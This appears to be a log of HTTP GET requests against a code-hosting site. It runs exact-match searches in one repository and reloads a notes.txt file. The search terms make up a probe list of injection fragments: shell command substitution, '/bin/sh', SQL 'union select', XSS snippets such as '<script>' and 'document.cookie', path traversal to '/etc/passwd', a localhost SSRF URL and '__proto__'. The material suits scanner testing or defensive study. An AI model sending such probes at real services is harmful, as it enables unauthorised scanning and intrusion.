{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
|
||||||
